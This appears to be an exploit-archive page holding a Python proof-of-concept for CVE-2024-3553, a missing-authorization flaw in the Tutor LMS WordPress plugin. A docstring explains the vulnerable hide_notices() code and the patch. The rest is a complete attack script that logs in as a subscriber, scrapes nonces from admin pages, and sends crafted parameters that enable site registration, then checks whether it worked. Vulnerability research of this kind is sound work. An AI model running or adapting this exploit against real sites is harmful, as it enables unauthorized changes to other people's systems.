4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit-cve-2024-3553-v2.py PY
#!/usr/bin/env python3
"""
CVE-2024-3553 Exploit - Tutor LMS Missing Authorization Vulnerability (Version 2)
Author: Security Researcher
Date: 2024

This exploit demonstrates the missing capability check in the hide_notices() function
that allows any authenticated user (even subscribers) to enable user registration.

VULNERABILITY ANALYSIS:

The vulnerable code in classes/User.php (version 2.6.2):

    public function hide_notices() {
        $hide_notice         = Input::get( 'tutor-hide-notice', '' );
        $is_register_enabled = Input::get( 'tutor-registration', '' );
        if ( is_admin() && 'registration' === $hide_notice ) {
            tutor_utils()->checking_nonce( 'get' );

            if ( 'enable' === $is_register_enabled ) {
                update_option( 'users_can_register', 1 );  // <-- Missing capability check!
            } else {
                self::$hide_registration_notice = true;
                setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
            }
        }
    }

KEY VULNERABILITY POINTS:
1. is_admin() only checks if we're in the admin area, NOT if user is an administrator
2. ANY authenticated user can access /wp-admin/ (even subscribers)
3. The nonce check happens AFTER is_admin(), and nonces can be obtained by any logged-in user
4. NO capability check like current_user_can('manage_options')
5. This allows subscribers/low-privilege users to enable registration

PATCHED CODE (version 2.7.0):
Added: $has_manage_cap = current_user_can( 'manage_options' );
And checks this capability before allowing the option update.
"""

import argparse
import requests
import sys
from urllib.parse import urljoin
import re

class TutorLMSExploit:
    def __init__(self, target_url, username=None, password=None):
        self.target_url = target_url.rstrip('/')
        self.username = username
        self.password = password
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        })

    def create_subscriber_account(self):
        """
        Create a low-privilege subscriber account to demonstrate the vulnerability.
        This simulates an attacker who has created an account on the site.
        """
        print("[*] Step 1: Attempting to create a subscriber account...")

        # Check if registration is already enabled
        register_url = urljoin(self.target_url, '/wp-login.php?action=register')
        response = self.session.get(register_url)

        if 'user_login' not in response.text:
            print("[-] Registration is disabled. Cannot create test account.")
            print("[!] This is actually what we're trying to exploit - but we need an existing account")
            print("[!] For testing, we'll use provided credentials or admin account")
            return False

        print("[+] Registration is enabled, creating test subscriber account...")

        # Generate test credentials
        import random
        import string
        rand_suffix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=6))
        test_user = f'testuser_{rand_suffix}'
        test_email = f'{test_user}@example.com'
        test_pass = 'TestPass123!'

        # Register the account
        register_data = {
            'user_login': test_user,
            'user_email': test_email,
            'submit': 'Register'
        }

        response = self.session.post(register_url, data=register_data)

        if 'check your email' in response.text.lower() or response.status_code == 200:
            print(f"[+] Subscriber account created: {test_user}")
            self.username = test_user
            self.password = test_pass  # WordPress sends password via email, but for testing we can try default
            return True
        else:
            print("[-] Failed to create subscriber account")
            return False

    def login(self):
        """Login to WordPress with the provided credentials."""
        print(f"\n[*] Attempting to login as: {self.username}")

        login_url = urljoin(self.target_url, '/wp-login.php')

        login_data = {
            'log': self.username,
            'pwd': self.password,
            'wp-submit': 'Log In',
            'redirect_to': urljoin(self.target_url, '/wp-admin/'),
            'testcookie': '1'
        }

        response = self.session.post(login_url, data=login_data, allow_redirects=True)

        # Check if login was successful
        if 'wp-admin' in response.url or 'dashboard' in response.text.lower() or 'profile.php' in response.text:
            print(f"[+] Successfully logged in as: {self.username}")
            return True
        else:
            print(f"[-] Failed to login as: {self.username}")
            return False

    def get_nonce_from_admin(self):
        """
        Get a nonce from the WordPress admin area.
        Any authenticated user can access /wp-admin/ and obtain nonces.
        """
        print("\n[*] Step 2: Extracting nonce from admin area...")

        # Access the admin dashboard
        # Even subscribers can access /wp-admin/, they just see limited options
        admin_url = urljoin(self.target_url, '/wp-admin/')
        response = self.session.get(admin_url)

        if response.status_code != 200:
            print(f"[-] Failed to access admin area: {response.status_code}")
            return None

        # WordPress generates nonces for various actions
        # We need a nonce for the 'tutor_nonce_action' action
        # However, the checking_nonce function typically looks for _wpnonce parameter

        # Look for any WordPress nonce in the page
        nonce_patterns = [
            r'_wpnonce["\']?\s*[:=]\s*["\']([a-f0-9]+)["\']',
            r'_wpnonce=([a-f0-9]+)',
            r'name=["\']_wpnonce["\']\s+value=["\']([a-f0-9]+)["\']',
            r'wpnonce["\']?\s*[:=]\s*["\']([a-f0-9]+)["\']'
        ]

        for pattern in nonce_patterns:
            match = re.search(pattern, response.text, re.IGNORECASE)
            if match:
                nonce = match.group(1)
                print(f"[+] Found nonce: {nonce}")
                return nonce

        # If we can't find a general nonce, we need to generate one
        # WordPress nonces are based on: action, user, timestamp
        # We can try to get one from any admin page action

        # Try to get nonce from the profile page
        profile_url = urljoin(self.target_url, '/wp-admin/profile.php')
        response = self.session.get(profile_url)

        for pattern in nonce_patterns:
            match = re.search(pattern, response.text, re.IGNORECASE)
            if match:
                nonce = match.group(1)
                print(f"[+] Found nonce from profile page: {nonce}")
                return nonce

        print("[-] Could not extract nonce from admin pages")
        return None

    def generate_tutor_nonce(self):
        """
        Alternative approach: Generate a nonce for the tutor_nonce_action.
        This requires accessing a page that creates this specific nonce.
        """
        print("\n[*] Attempting to generate Tutor-specific nonce...")

        # The admin notice itself generates the nonce we need
        # But it only shows if registration is disabled AND user is admin
        # However, we can try to access Tutor pages that might generate nonces

        tutor_pages = [
            '/wp-admin/admin.php?page=tutor',
            '/wp-admin/admin.php?page=tutor_settings',
            '/wp-admin/index.php'  # Dashboard might show the notice
        ]

        for page in tutor_pages:
            url = urljoin(self.target_url, page)
            response = self.session.get(url)

            # Look for tutor nonce
            nonce_match = re.search(r'_tutor_nonce["\']?\s*[:=]\s*["\']([a-f0-9]+)["\']', response.text, re.IGNORECASE)
            if not nonce_match:
                nonce_match = re.search(r'tutor-hide-notice=registration[^"]*_wpnonce=([a-f0-9]+)', response.text)

            if nonce_match:
                nonce = nonce_match.group(1)
                print(f"[+] Found Tutor nonce from {page}: {nonce}")
                return nonce

        return None

    def check_registration_status(self):
        """Check if user registration is currently enabled."""
        print("\n[*] Checking current registration status...")

        register_url = urljoin(self.target_url, '/wp-login.php?action=register')
        response = self.session.get(register_url, allow_redirects=False)

        if response.status_code == 302 or 'disabled' in response.text.lower():
            print("[+] Registration is currently DISABLED")
            return False
        elif 'user_login' in response.text:
            print("[+] Registration is currently ENABLED")
            return True
        else:
            print("[?] Registration status unclear")
            return None

    def exploit(self, nonce):
        """
        Execute the exploit to enable user registration.

        This exploits the missing capability check in hide_notices() by:
        1. Being logged in as any user (even subscriber)
        2. Accessing the admin area (/wp-admin/) which sets is_admin() to true
        3. Providing the required GET parameters
        4. Passing nonce validation
        5. No capability check prevents us from updating the option
        """
        print(f"\n[*] Step 3: Executing exploit to enable user registration...")
        print(f"[*] Target: {self.target_url}")
        print(f"[*] Using nonce: {nonce}")

        # Construct the exploit URL
        # The hide_notices() function is triggered on 'admin_init' hook
        # So we need to make a request to any admin page with the right parameters

        exploit_url = urljoin(self.target_url, '/wp-admin/index.php')

        params = {
            'tutor-hide-notice': 'registration',
            'tutor-registration': 'enable',
            '_wpnonce': nonce  # WordPress standard nonce parameter
        }

        print(f"[*] Exploit URL: {exploit_url}")
        print(f"[*] Parameters: {params}")

        try:
            response = self.session.get(exploit_url, params=params, allow_redirects=True)

            print(f"[*] Response status: {response.status_code}")

            if response.status_code == 200:
                print("[+] Exploit request sent successfully!")
                return True
            else:
                print(f"[-] Unexpected response: {response.status_code}")
                return False

        except Exception as e:
            print(f"[-] Error during exploitation: {str(e)}")
            return False

    def verify_success(self):
        """Verify that the exploit was successful."""
        print("\n[*] Step 4: Verifying exploitation success...")

        import time
        time.sleep(1)  # Brief delay for changes to propagate

        status = self.check_registration_status()

        print("\n" + "=" * 70)
        if status == True:
            print("[!] EXPLOITATION SUCCESSFUL!")
            print("[!] User registration is now ENABLED")
            print("[!] ")
            print("[!] Impact: An attacker with a low-privilege account (subscriber)")
            print("[!] was able to enable user registration on a site where it was")
            print("[!] disabled. This could allow creation of additional accounts,")
            print("[!] potentially leading to spam or unauthorized access.")
            print("=" * 70)
            return True
        elif status == False:
            print("[-] EXPLOITATION FAILED")
            print("[-] User registration is still DISABLED")
            print("=" * 70)
            return False
        else:
            print("[?] EXPLOITATION STATUS UNCLEAR")
            print("[?] Manual verification recommended")
            print("=" * 70)
            return None

    def run(self):
        """Execute the complete exploitation chain."""
        print("=" * 70)
        print("CVE-2024-3553 Exploit - Tutor LMS Missing Authorization")
        print("Target: " + self.target_url)
        print("=" * 70)

        # Check initial registration status
        initial_status = self.check_registration_status()

        if initial_status == True:
            print("\n[!] Registration is already enabled.")
            print("[!] For demonstration, this should be disabled first.")
            return False

        # Login with provided credentials
        if not self.username or not self.password:
            print("\n[-] No credentials provided. Cannot proceed without authentication.")
            print("[!] This vulnerability requires an authenticated user.")
            print("[!] Use --username and --password parameters")
            return False

        if not self.login():
            return False

        # Get nonce
        nonce = self.get_nonce_from_admin()
        if not nonce:
            nonce = self.generate_tutor_nonce()

        if not nonce:
            print("\n[-] Failed to obtain nonce. Exploitation cannot continue.")
            return False

        # Execute exploit
        if self.exploit(nonce):
            return self.verify_success()
        else:
            print("\n[-] Exploitation failed during request phase")
            return False

def main():
    parser = argparse.ArgumentParser(
        description='CVE-2024-3553 Exploit - Tutor LMS Missing Authorization',
        formatter_class=argparse.RawDescriptionHelpFormatter
    )
    parser.add_argument('target', help='Target WordPress URL (e.g., https://example.com)')
    parser.add_argument('--username', '-u', help='WordPress username (can be subscriber/low-privilege user)')
    parser.add_argument('--password', '-p', help='WordPress password')
    parser.add_argument('--check-only', action='store_true',
                       help='Only check registration status')

    args = parser.parse_args()

    exploit = TutorLMSExploit(args.target, args.username, args.password)

    if args.check_only:
        exploit.check_registration_status()
    else:
        success = exploit.run()
        sys.exit(0 if success else 1)

if __name__ == '__main__':
    main()